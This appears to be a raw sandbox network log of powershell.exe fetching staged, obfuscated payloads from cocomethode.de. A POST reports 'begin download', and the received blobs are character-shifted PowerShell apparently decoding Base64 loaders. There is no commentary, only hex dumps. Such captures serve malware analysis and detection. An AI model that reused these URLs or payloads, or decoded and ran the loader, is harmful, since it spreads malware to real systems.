Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.11.20	49742	104.21.1.51	443	6736	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:58:19 UTC	365	OUT	GET /file2/a6c68eda5eb2f2e24f6b71bb75ddc6d507a5fe468316dd82743217491c7dea68954e62fb05f2234146d02dff67a82509599b2836174547622d0ee8fe256a41126468eb5b965f1730e662f8fc21d93434c518bc7706e19d63073732141d6f21016c67c03bdf5a6c61b32c775e3922a7a7 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de
2024-12-11 11:58:19 UTC	1313	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:58:19 GMT Content-Type: application/octet-stream Content-Length: 2870 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l9LTC5%2FMqDbiUn0cbJJmsJ7ZdwyZFmzMIdI3CNx8wpo3tyKHzrWTwlC7mAXL%2FWbZ7PIrGvd%2FZMY%2FFfbGK%2FgjCeCYXmO8te43XqtKXiBOaL2%2BXaRqx9wqU%2FECrgNcf6LvLz3ZEWd9NJbO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=20278&min_rtt=1212&rtt_var=14591&sent=132&recv=140&lost=0&retrans=0&sent_bytes=43704&recv_bytes=75116&delivery_rate=4793171&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f054d5a3fb7bd26-ATL server-timing: cfL4;desc="?proto=TCP&rtt=53&min_rtt=53&rtt_var=26&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=620&delivery_rate=0&cwnd=92&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=113759&min_rtt=113706&rtt_var=24074&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1003&delivery_rate=33618&cwnd=252&unsent_bytes=0&cid=1183d324ce1146ec&ts=856&x=0"
2024-12-11 11:58:19 UTC	56	IN	Data Raw: 25 70 77 62 68 67 64 65 64 6f 3c 5a 52 78 72 75 64 6c 2f 55 64 79 75 2f 44 6f 62 6e 65 68 6f 66 5c 3b 3b 40 52 42 48 48 2f 46 64 75 52 75 73 68 6f 66 29 5a 52 78 72 75 Data Ascii: %pwbhgdedo<ZRxrudl/Udyu/Dobnehof\;;@RBHH/FduRushof)ZRxru
2024-12-11 11:58:19 UTC	1369	IN	Data Raw: 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 23 54 56 38 4e 50 33 30 60 4c 56 4b 75 55 6b 43 69 57 7b 6d 30 52 54 5b 4e 63 46 4b 75 54 56 65 6d 65 7b 43 4d 52 54 4f 43 5b 31 6d 48 50 6c 69 6b 63 54 5b 31 52 31 4f 42 58 6d 57 46 55 6d 43 5b 63 59 43 72 56 55 4f 52 5b 44 6d 45 54 6f 4f 68 4c 6c 53 4e 58 7b 4b 6b 5b 31 75 53 4c 44 75 44 54 56 38 6f 52 54 4f 43 5b 31 6d 34 50 6a 53 68 4c 6b 54 78 56 6d 69 4a 4c 44 6d 49 52 6f 5b 60 52 46 75 6f 5b 44 62 35 5b 33 4c 7b 54 6f 6d 69 57 7b 57 74 53 47 47 77 5b 31 6d 45 50 56 65 4a 52 44 35 76 58 33 30 72 65 57 6e 76 52 6f 5b 60 52 46 75 6f 54 47 4f 42 58 6c 4c 7b 54 6f 6d 69 57 7b 57 74 56 47 4f 6f 60 33 4b 49 4e 56 34 54 56 44 34 74 52 54 69 32 5b 30 44 78 4e 59 57 6a Data Ascii: dl/Bnowdsu\;;GsnlC`rd75Rushof)#TV8NP30`LVKuUkCiW{m0RT[NcFKuTVeme{CMRTOC[1mHPlikcT[1R1OBXmWFUmC[cYCrVUOR[DmEToOhLlSNX{Kk[1uSLDuDTV8oRTOC[1m4PjShLkTxVmiJLDmIRo[`RFuo[Db5[3L{TomiW{WtSGGw[1mEPVeJRD5vX30reWnvRo[`RFuoTGOBXlL{TomiW{WtVGOo`3KINV4TVD4tRTi2[0DxNYWj
2024-12-11 11:58:19 UTC	1369	IN	Data Raw: 6d 75 52 6c 79 60 4c 6c 79 30 52 54 65 52 65 6c 50 78 4f 59 4f 68 4c 6a 5b 73 52 54 4f 52 4c 56 4f 75 60 33 6d 51 65 7b 43 4d 50 30 47 73 60 30 6a 78 4e 59 57 6a 53 30 5b 30 5b 44 4f 43 4e 54 6d 47 63 49 57 6a 63 55 6d 78 56 6d 4c 79 56 47 71 59 52 6d 4f 60 56 44 58 79 56 6d 69 4e 4c 44 6d 45 4c 57 5b 6b 63 56 75 6f 52 6a 69 56 64 56 47 55 50 59 53 56 56 44 34 72 54 56 30 46 64 6c 47 59 55 6d 47 5b 56 44 71 37 58 57 62 30 63 6a 38 32 4c 44 75 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 75 5b 63 6c 76 76 56 6d 57 46 64 56 4f 75 53 6b 57 4b 53 45 43 6f 52 6a 65 4e 65 6c 4b 74 54 6c 79 68 63 6d 47 30 56 55 48 34 65 56 53 49 57 6f 57 6a 53 49 4f 4e 50 33 6d 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 56 6c 31 34 64 54 6d 45 5b 33 75 69 54 31 44 34 52 54 53 43 4f Data Ascii: muRly`Lly0RTeRelPxOYOhLj[sRTORLVOu`3mQe{CMP0Gs`0jxNYWjS0[0[DOCNTmGcIWjcUmxVmLyVGqYRmO`VDXyVmiNLDmELW[kcVuoRjiVdVGUPYSVVD4rTV0FdlGYUmG[VDq7XWb0cj82LDuKP1GoRTOC[1mEPVu[clvvVmWFdVOuSkWKSECoRjeNelKtTlyhcmG0VUH4eVSIWoWjSIONP3mC[1mEPVeKP1GoVl14dTmE[3uiT1D4RTSCO
2024-12-11 11:58:19 UTC	76	IN	Data Raw: 48 2f 46 64 75 52 75 73 68 6f 66 29 5a 52 78 72 75 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 29 25 75 7b 60 66 65 74 69 76 21 2a 21 25 70 77 62 68 67 64 65 64 6f 28 28 28 28 3a 0b Data Ascii: H/FduRushof)ZRxrudl/Bnowdsu\;;GsnlC`rd75Rushof))%u{`fetiv!*!%pwbhgdedo((((:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.11.20	49743	104.21.1.51	443	6736	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:58:20 UTC	285	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae10afda605b274c86a537ac904c1ece8 HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 303
2024-12-11 11:58:20 UTC	303	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 62 65 67 69 6e 20 64 6f 77 6e 6c 6f 61 64 20 68 74 74 70 73 3a 2f 2f 63 6f 63 6f 6d 65 74 68 6f 64 65 2e 64 65 2f 66 69 6c 65 32 2f 62 32 33 36 33 32 33 32 66 31 30 38 61 37 64 62 30 36 66 66 36 30 37 65 61 38 63 35 30 31 33 37 61 65 63 36 32 39 37 38 34 66 33 39 66 30 33 36 64 63 64 37 39 66 38 64 31 62 37 33 61 36 65 66 65 39 37 36 36 32 37 31 36 65 31 32 34 30 65 35 65 36 66 34 30 36 35 30 63 38 62 30 31 66 63 66 37 38 38 61 64 30 62 66 31 37 34 35 36 61 63 36 32 61 61 30 37 34 61 35 34 32 63 62 66 36 64 65 31 65 30 32 32 39 65 32 66 39 66 38 64 30 37 35 65 61 34 39 32 66 64 32 37 31 62 36 65 38 64 61 35 63 38 30 35 61 30 30 32 39 36 35 36 30 36 33 34 63 61 62 32 33 36 36 63 30 37 38 31 64 38 35 36 61 30 33 32 35 36 34 61 Data Ascii: [ "\"begin download https://cocomethode.de/file2/b2363232f108a7db06ff607ea8c50137aec629784f39f036dcd79f8d1b73a6efe97662716e1240e5e6f40650c8b01fcf788ad0bf17456ac62aa074a542cbf6de1e0229e2f9f8d075ea492fd271b6e8da5c805a00296560634cab2366c0781d856a032564a
2024-12-11 11:58:20 UTC	1174	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:58:20 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=r3rsdNYN0DtR%2FWFnf9IAbfoSiR8xmnph0r3ihG6qvQnLOREhc%2B9YAqseyb5TVxInBcPNUtUDfqEH5dQD%2By06ltFNeLMgR5IJspaO2dTOnGDdME8s0HvsY7ByL8WsLw8cj1OZgsnBb5b8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=42425&min_rtt=1313&rtt_var=18118&sent=13906&recv=5969&lost=0&retrans=8&sent_bytes=19903969&recv_bytes=98422&delivery_rate=47611739&cwnd=240&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f054d6139604564-ATL server-timing: cfL4;desc="?proto=TCP&rtt=48&min_rtt=48&rtt_var=24&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=864&delivery_rate=0&cwnd=144&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=40&min_rtt=40&rtt_var=20&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=850&delivery_rate=0&cwnd=228&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:58:20 UTC	417	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 36 30 26 6d 69 6e 5f 72 74 74 3d 36 30 26 72 74 74 5f 76 61 72 3d 33 30 26 73 65 6e 74 3d 32 26 72 65 63 76 3d 34 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 72 65 63 76 5f 62 79 74 65 73 3d 38 34 33 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 30 26 63 77 6e 64 3d 31 38 39 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 26 74 73 3d 30 26 78 3d 30 22 0d 0a 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 34 30 31 32 26 6d 69 6e 5f 72 74 74 3d 31 31 Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=60&min_rtt=60&rtt_var=30&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=843&delivery_rate=0&cwnd=189&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"server-timing: cfL4;desc="?proto=TCP&rtt=114012&min_rtt=11

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.11.20	49744	104.21.1.51	443	6736	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:58:21 UTC	365	OUT	GET /file2/b2363232f108a7db06ff607ea8c50137aec629784f39f036dcd79f8d1b73a6efe97662716e1240e5e6f40650c8b01fcf788ad0bf17456ac62aa074a542cbf6de1e0229e2f9f8d075ea492fd271b6e8da5c805a00296560634cab2366c0781d856a032564ab3a4d41c92c82c96382a43b HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de
2024-12-11 11:58:22 UTC	1287	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:58:22 GMT Content-Type: application/octet-stream Content-Length: 21718 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vgY7%2BIuSuY512xKYx%2FmSLw%2F7ibStBe%2BijduAV1k6YO%2B4OTgGcDpRXclI3AKckB7K74pCveR76cO4RkIZde6Gff7igHQnJ4JfcyZFkvlWeuGbcdcFY5a2Q8aOVAuMx8cgiV3BdqvgZFzR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=22455&min_rtt=1212&rtt_var=20135&sent=138&recv=144&lost=0&retrans=0&sent_bytes=48241&recv_bytes=76774&delivery_rate=4793171&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f054d682f81ed80-ATL server-timing: cfL4;desc="?proto=TCP&rtt=88&min_rtt=88&rtt_var=44&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=629&delivery_rate=0&cwnd=67&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=30&min_rtt=30&rtt_var=15&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=620&delivery_rate=0&cwnd=121&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:58:22 UTC	220	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 33 39 37 32 26 6d 69 6e 5f 72 74 74 3d 31 31 33 38 39 37 26 72 74 74 5f 76 61 72 3d 32 34 31 34 32 26 73 65 6e 74 3d 36 26 72 65 63 76 3d 38 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 33 35 26 72 65 63 76 5f 62 79 74 65 73 3d 31 30 30 33 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 33 33 35 36 30 26 63 77 6e 64 3d 32 34 38 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 32 38 32 39 63 38 61 35 63 36 30 62 30 35 37 65 26 74 73 3d 38 32 38 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=113972&min_rtt=113897&rtt_var=24142&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1003&delivery_rate=33560&cwnd=248&unsent_bytes=0&cid=2829c8a5c60b057e&ts=828&x=0"
2024-12-11 11:58:22 UTC	1231	IN	Data Raw: 25 66 69 76 7b 66 6f 3c 5a 52 78 72 75 64 6c 2f 55 64 79 75 2f 44 6f 62 6e 65 68 6f 66 5c 3b 3b 40 52 42 48 48 2f 46 64 75 52 75 73 68 6f 66 29 5a 52 78 72 75 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 23 4c 44 6d 46 55 6b 57 6b 4c 30 4b 72 58 6d 4c 30 57 56 47 48 52 6c 79 5b 57 30 4b 76 58 6c 30 6b 65 57 53 58 57 6b 43 60 56 46 65 77 52 6a 65 60 60 46 4b 48 55 6c 79 4c 50 31 47 71 57 55 47 52 50 6d 57 72 54 6d 5b 53 57 54 30 71 52 30 53 7b 55 6a 4f 71 54 6f 4f 68 4c 6a 34 78 54 57 65 4e 64 46 53 59 63 49 6d 60 57 30 4b 44 58 54 65 72 62 30 71 45 50 55 6d 4b 50 30 4b 31 5b 44 69 6e 5b 6d 6a 78 60 49 43 68 53 30 47 30 57 6b 4b 46 62 46 53 47 4e 59 57 60 54 33 65 32 52 30 53 7b 55 6a 4f 75 63 46 30 4b 50 33 65 Data Ascii: %fiv{fo<ZRxrudl/Udyu/Dobnehof\;;@RBHH/FduRushof)ZRxrudl/Bnowdsu\;;GsnlC`rd75Rushof)#LDmFUkWkL0KrXmL0WVGHRly[W0KvXl0keWSXWkC`VFewRje``FKHUlyLP1GqWUGRPmWrTm[SWT0qR0S{UjOqToOhLj4xTWeNdFSYcIm`W0KDXTerb0qEPUmKP0K1[Din[mjx`IChS0G0WkKFbFSGNYW`T3e2R0S{UjOucF0KP3e
2024-12-11 11:58:22 UTC	1369	IN	Data Raw: 72 58 6c 71 7b 55 6a 4f 6f 4c 44 75 4b 50 31 47 6f 52 54 65 72 63 54 75 45 54 6f 43 6b 4c 57 5b 42 54 55 40 34 65 30 71 59 4f 46 65 4c 57 30 5b 35 52 54 53 43 62 44 53 53 63 33 65 4b 50 31 47 6f 5b 59 62 76 52 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 42 52 6d 4f 56 56 6d 71 53 57 59 43 44 54 56 75 4e 58 54 6d 45 52 6f 4b 68 64 54 4b 70 56 57 62 31 5b 30 6d 74 63 49 65 5b 56 44 34 37 52 54 69 56 60 47 6d 34 52 55 65 44 54 56 38 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 53 6a 35 76 56 57 69 4a 4c 44 79 56 50 6f 6d 68 4c 6a 34 72 58 7b 4f 4f 5b 31 6d 75 55 6f 53 60 50 7b 57 72 5b 54 65 57 60 54 6d 45 4c 57 65 60 56 44 71 71 52 54 69 4a 4c 56 4b 75 53 6f 71 4b 50 7b 47 58 58 57 62 30 60 33 48 7b 5b 47 53 6a 52 46 79 7b 56 6d 4f 42 63 33 47 59 54 6c 75 60 57 7b Data Ascii: rXlq{UjOoLDuKP1GoRTercTuEToCkLW[BTU@4e0qYOFeLW0[5RTSCbDSSc3eKP1Go[YbvR1mEPVeKP1GoRTOBRmOVVmqSWYCDTVuNXTmERoKhdTKpVWb1[0mtcIe[VD47RTiV`Gm4RUeDTV8oRTOC[1mEPVeKSj5vVWiJLDyVPomhLj4rX{OO[1muUoS`P{Wr[TeW`TmELWe`VDqqRTiJLVKuSoqKP{GXXWb0`3H{[GSjRFy{VmOBc3GYTlu`W{
2024-12-11 11:58:22 UTC	1369	IN	Data Raw: 53 6a 38 53 57 54 71 7b 54 57 57 6a 56 6d 47 57 4e 57 4b 53 57 44 5b 42 54 6b 47 46 50 6d 53 56 53 6a 4b 4f 57 54 5b 47 57 30 57 46 56 6d 6e 76 52 6f 4b 53 57 56 53 56 54 57 54 79 54 6d 47 54 53 6a 4b 52 53 55 47 42 57 30 5b 46 50 6a 30 47 53 6a 57 52 57 54 5b 4e 56 6b 43 47 4c 47 47 57 54 6a 34 53 57 55 44 7b 54 57 69 76 50 6d 48 79 57 6a 4b 54 57 6a 5b 42 5b 54 57 46 53 57 6e 76 53 6c 47 57 57 54 71 77 54 57 57 52 54 6d 47 57 4f 55 4f 53 63 59 53 42 54 6a 57 56 50 6d 65 72 53 6a 4b 4f 4c 44 5b 47 57 30 57 46 55 30 57 57 52 6f 43 53 57 56 53 52 54 57 54 79 50 6d 47 54 50 6a 4b 52 53 56 79 42 57 30 5b 46 50 33 44 76 53 6a 57 57 57 54 5b 69 56 6b 43 4a 62 30 47 57 54 6a 4b 53 57 6c 76 7b 54 56 30 35 50 6d 4b 49 55 6a 4b 54 60 31 5b 42 5b 57 57 46 52 47 4f Data Ascii: Sj8SWTq{TWWjVmGWNWKSWD[BTkGFPmSVSjKOWT[GW0WFVmnvRoKSWVSVTWTyTmGTSjKRSUGBW0[FPj0GSjWRWT[NVkCGLGGWTj4SWUD{TWivPmHyWjKTWj[B[TWFSWnvSlGWWTqwTWWRTmGWOUOScYSBTjWVPmerSjKOLD[GW0WFU0WWRoCSWVSRTWTyPmGTPjKRSVyBW0[FP3DvSjWWWT[iVkCJb0GWTjKSWlv{TV05PmKIUjKT`1[B[WWFRGO
2024-12-11 11:58:22 UTC	939	IN	Data Raw: 45 43 4a 53 47 47 57 58 7b 53 53 57 6f 43 42 54 56 71 56 50 6d 4b 48 55 6a 4b 52 53 6a 5b 42 54 7b 43 46 53 47 47 57 53 6a 71 53 57 54 5b 74 54 57 57 4e 50 6d 47 57 62 44 4b 53 63 6a 34 42 54 6f 71 6e 50 6d 65 74 5b 44 4f 54 60 31 5b 48 57 6d 57 46 60 6c 50 76 52 6b 5b 53 57 56 53 46 54 57 5b 76 4c 30 47 75 64 44 4b 55 53 55 47 42 54 30 57 46 50 6c 4f 73 53 6a 57 4f 53 54 5b 4a 54 57 57 46 62 47 47 57 55 59 65 53 57 59 69 52 54 57 69 52 50 6d 47 37 50 6a 4b 54 53 6a 5b 42 5b 44 57 46 53 44 30 47 53 6a 30 57 57 54 58 76 54 57 57 4f 65 30 47 57 63 46 34 53 57 46 53 42 54 57 53 42 50 6d 44 78 5b 44 4b 54 60 31 5b 42 58 6b 43 46 52 6d 47 57 53 6c 34 53 57 54 34 42 54 57 57 72 50 6d 47 59 65 44 4b 52 4c 6c 53 42 57 33 79 46 50 33 47 47 53 6a 69 57 57 54 5b 69 Data Ascii: ECJSGGWX{SSWoCBTVqVPmKHUjKRSj[BT{CFSGGWSjqSWT[tTWWNPmGWbDKScj4BToqnPmet[DOT`1[HWmWF`lPvRk[SWVSFTW[vL0GudDKUSUGBT0WFPlOsSjWOST[JTWWFbGGWUYeSWYiRTWiRPmG7PjKTSj[B[DWFSD0GSj0WWTXvTWWOe0GWcF4SWFSBTWSBPmDx[DKT`1[BXkCFRmGWSl4SWT4BTWWrPmGYeDKRLlSBW3yFP3GGSjiWWT[i
2024-12-11 11:58:22 UTC	1369	IN	Data Raw: 57 54 6a 7b 54 57 57 47 65 30 47 57 55 6c 34 53 57 33 53 42 54 55 43 46 50 6d 4f 57 53 6a 4b 60 4c 44 5b 44 54 57 57 46 52 6d 47 57 53 6c 34 53 57 54 34 42 54 57 57 72 50 6d 47 59 5b 44 4b 53 4c 44 5b 42 54 30 57 46 50 6c 44 76 53 6a 69 55 57 54 5b 71 5b 45 43 4a 62 6d 47 57 60 49 4b 53 57 56 79 42 54 57 53 72 50 6d 44 76 53 6a 4b 55 60 31 5b 45 58 7b 43 46 52 44 38 47 53 6c 47 6a 4c 44 71 51 54 57 57 6a 57 6d 47 59 55 6b 4f 53 63 6f 43 42 54 6b 43 56 50 6d 65 74 5b 44 4f 68 53 54 5b 4b 57 47 57 46 52 6d 47 57 52 55 53 53 57 54 34 42 54 57 5b 46 4c 30 47 74 56 6a 4b 52 64 6d 4b 42 56 6a 65 6a 50 33 4b 47 53 6a 6d 55 57 54 5b 73 54 57 57 4a 57 6d 47 57 58 7b 53 53 57 59 69 52 54 56 75 31 50 6d 4f 47 4c 54 4b 5b 63 6c 53 45 5b 47 57 46 53 56 4c 76 53 6a 57 Data Ascii: WTj{TWWGe0GWUl4SW3SBTUCFPmOWSjK`LD[DTWWFRmGWSl4SWT4BTWWrPmGY[DKSLD[BT0WFPlDvSjiUWT[q[ECJbmGW`IKSWVyBTWSrPmDvSjKU`1[EX{CFRD8GSlGjLDqQTWWjWmGYUkOScoCBTkCVPmet[DOhST[KWGWFRmGWRUSSWT4BTW[FL0GtVjKRdmKBVjejP3KGSjmUWT[sTWWJWmGWX{SSWYiRTVu1PmOGLTK[clSE[GWFSVLvSjW
2024-12-11 11:58:22 UTC	1369	IN	Data Raw: 57 47 57 58 7b 53 53 57 31 58 7b 54 56 30 35 50 6d 47 37 50 6a 4b 56 63 6c 53 45 58 6a 57 46 52 47 4f 57 53 6d 5b 60 4c 44 71 7b 54 57 57 6e 53 6d 47 59 54 6d 4b 53 63 59 69 42 54 31 54 79 50 6d 71 47 53 6a 4b 60 4c 44 5b 44 55 54 57 46 57 30 57 57 52 6b 57 53 57 56 53 78 54 57 57 72 50 6d 47 59 65 44 4b 55 53 6d 5b 42 56 55 4b 6a 50 33 4f 47 53 6a 53 53 57 54 5b 4f 57 57 57 4a 57 30 47 57 60 44 34 53 57 6f 43 52 54 56 75 4e 50 6d 48 76 57 6a 4b 5b 4c 33 53 45 58 31 57 46 52 47 53 57 53 6d 5b 53 57 54 71 77 54 57 57 6e 52 6d 47 59 55 6b 4f 53 63 6a 4b 42 54 6f 71 52 50 6d 65 74 5b 44 4b 4e 4c 44 5b 42 55 54 57 46 53 47 6e 76 53 6c 34 53 57 54 34 42 54 57 57 72 50 6d 47 59 5b 44 4b 53 4c 44 5b 42 54 30 57 46 50 6d 6e 76 53 6a 53 53 57 54 5b 4d 54 57 57 4a Data Ascii: WGWX{SSW1X{TV05PmG7PjKVclSEXjWFRGOWSm[`LDq{TWWnSmGYTmKScYiBT1TyPmqGSjK`LD[DUTWFW0WWRkWSWVSxTWWrPmGYeDKUSm[BVUKjP3OGSjSSWT[OWWWJW0GW`D4SWoCRTVuNPmHvWjK[L3SEX1WFRGSWSm[SWTqwTWWnRmGYUkOScjKBToqRPmet[DKNLD[BUTWFSGnvSl4SWT4BTWWrPmGY[DKSLD[BT0WFPmnvSjSSWT[MTWWJ
2024-12-11 11:58:22 UTC	1369	IN	Data Raw: 4c 76 54 57 5b 76 50 6d 47 59 5b 44 4b 53 4c 54 5b 42 57 31 69 6a 50 6c 53 57 53 6a 5b 56 57 54 5b 72 54 57 57 4a 62 57 47 57 5b 47 5b 53 57 31 34 42 54 56 71 42 50 6d 48 78 65 44 4b 5b 63 6c 53 45 5b 47 57 46 53 44 34 47 53 6d 57 57 57 54 71 7b 54 57 57 6e 55 6d 47 59 55 6b 4f 53 63 56 69 42 54 6b 4b 4e 50 6d 65 72 53 6a 4b 4e 4c 44 5b 42 55 54 57 46 53 47 6e 76 53 6a 75 53 57 54 5b 78 54 57 57 76 50 6d 47 75 62 44 4b 52 64 6c 69 42 56 6a 5b 46 50 33 53 57 53 6a 6d 57 57 54 5b 4a 54 57 57 46 4c 47 47 57 54 59 65 53 57 56 79 42 54 57 69 6e 50 6d 4b 48 55 6a 4b 52 53 6a 5b 42 54 7b 43 46 50 6c 44 76 53 6a 53 57 57 54 71 57 54 57 57 6e 54 6d 47 56 63 47 4b 53 63 6c 79 42 54 31 5b 46 50 6d 53 46 53 6a 4f 56 53 54 5b 48 5b 45 43 46 58 57 57 57 52 6f 4f 53 57 Data Ascii: LvTW[vPmGY[DKSLT[BW1ijPlSWSj[VWT[rTWWJbWGW[G[SW14BTVqBPmHxeDK[clSE[GWFSD4GSmWWWTq{TWWnUmGYUkOScViBTkKNPmerSjKNLD[BUTWFSGnvSjuSWT[xTWWvPmGubDKRdliBVj[FP3SWSjmWWT[JTWWFLGGWTYeSWVyBTWinPmKHUjKRSj[BT{CFPlDvSjSWWTqWTWWnTmGVcGKSclyBT1[FPmSFSjOVST[H[ECFXWWWRoOSW
2024-12-11 11:58:22 UTC	1369	IN	Data Raw: 58 5b 44 4f 4e 57 54 5b 4b 57 47 57 46 60 30 47 57 52 6f 4f 53 57 56 4f 32 54 57 54 79 4c 30 47 58 63 44 4b 52 63 6c 53 42 54 30 65 6a 50 6c 47 57 53 6a 53 55 57 54 5b 4c 57 57 57 46 63 6d 47 57 55 59 65 53 57 6d 6e 7b 54 56 34 42 50 6d 4b 37 54 6a 4b 59 60 31 5b 45 5b 46 75 46 52 57 6a 76 53 6d 5b 6a 4c 44 6d 32 54 57 57 6e 62 6d 47 59 52 6a 4b 53 63 59 69 42 54 55 43 46 50 6d 54 76 53 6a 4f 6b 53 54 5b 48 57 57 57 46 58 57 47 57 52 6f 4f 53 57 56 4c 76 54 57 57 72 50 6d 47 59 5b 44 4b 53 64 6a 4b 42 57 6c 34 6a 50 33 47 47 53 6a 69 69 4c 44 5b 73 54 57 57 47 4c 30 47 57 53 55 6d 50 54 31 6d 76 52 54 4c 79 56 46 47 59 4f 56 75 68 4c 33 53 54 5b 44 69 72 62 30 71 55 50 6a 6d 69 57 30 4b 73 56 6d 62 31 5b 31 6d 45 4c 57 69 5b 57 33 76 76 55 32 62 76 52 31 Data Ascii: X[DONWT[KWGWF`0GWRoOSWVO2TWTyL0GXcDKRclSBT0ejPlGWSjSUWT[LWWWFcmGWUYeSWmn{TV4BPmK7TjKY`1[E[FuFRWjvSm[jLDm2TWWnbmGYRjKScYiBTUCFPmTvSjOkST[HWWWFXWGWRoOSWVLvTWWrPmGY[DKSdjKBWl4jP3GGSjiiLD[sTWWGL0GWSUmPT1mvRTLyVFGYOVuhL3ST[Dirb0qUPjmiW0KsVmb1[1mELWi[W3vvU2bvR1
